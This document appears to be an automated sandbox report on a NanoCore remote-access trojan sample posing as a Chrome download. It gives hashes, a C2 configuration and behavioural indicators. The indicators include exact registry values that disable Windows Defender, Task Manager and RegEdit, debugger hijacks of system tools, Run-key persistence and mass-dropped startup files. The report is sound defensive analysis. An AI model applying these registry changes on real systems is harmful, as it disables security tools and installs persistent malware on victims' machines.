Analysis
- max time kernel
117s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/07/2026, 02:55
Behavioral task
behavioral1
Sample
xoilacbongda-wc2026a.tv_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
45 signatures
150 seconds
Behavioral task
behavioral2
Sample
xoilacbongda-wc2026a.tv_chrome.exe
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
48 signatures
150 seconds
General
- Target xoilacbongda-wc2026a.tv_chrome.exe
- Size 50KB
- Sample260709-dehc8sb15n
- SHA256 857c5549cff097d079fd46fcf2c32c594e4989e97a9e06617870eefa6081e26d
- MD5 f121be184ed56050ff4f34fdd25d850e
- SHA1 6c411de397b37479904d684dc75116fb8cc48cf7
- SHA512 f4b69152f1c1133af6b94e8718cce0246303034a8dc02ad10f2ba60963e8de80103fddcc84d2760e5129bc3129195b0db925fd9577bd1899986f93fd72eec85e
- SSDEEP 768:XdqB17JPp0trIctCvM1/7/6/Rgr4ZC1XXGblfppvKFc5xS:tqzRp0fCvu/j6Gr4ZEXGblfLvuc+
- TLSH T1C833F84477F94611F1BF8ABA4DB186119B31B4A3AC22D78D0BD5058E1AB3780CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://xoilacbongda-wc2026a.tv
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://xoilacbongda-wc2026a.tv
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/2404-1-0x0000000000C30000-0x0000000000C42000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" xoilacbongda-wc2026a.tv_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3108 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" xoilacbongda-wc2026a.tv_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts xoilacbongda-wc2026a.tv_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongda-wc2026a.tv_chrome.exe" xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongda-wc2026a.tv_chrome.exe" xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongda-wc2026a.tv_chrome.exe" xoilacbongda-wc2026a.tv_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2220 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf xoilacbongda-wc2026a.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf xoilacbongda-wc2026a.tv_chrome.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongda-wc2026a.tv_chrome.exe" xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongda-wc2026a.tv_chrome.exe" xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongda-wc2026a.tv_chrome.exe" xoilacbongda-wc2026a.tv_chrome.exe - Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\F: explorer.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe xoilacbongda-wc2026a.tv_chrome.exe File created C:\Windows\system32\sysupdate.exe xoilacbongda-wc2026a.tv_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe xoilacbongda-wc2026a.tv_chrome.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 332 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" xoilacbongda-wc2026a.tv_chrome.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1108 sc.exe 3376 sc.exe 3396 sc.exe 1468 sc.exe 1084 sc.exe 3300 sc.exe 2708 sc.exe 1108 sc.exe 4544 sc.exe 2976 sc.exe 2568 sc.exe 2008 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2328 chrome.exe - Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened 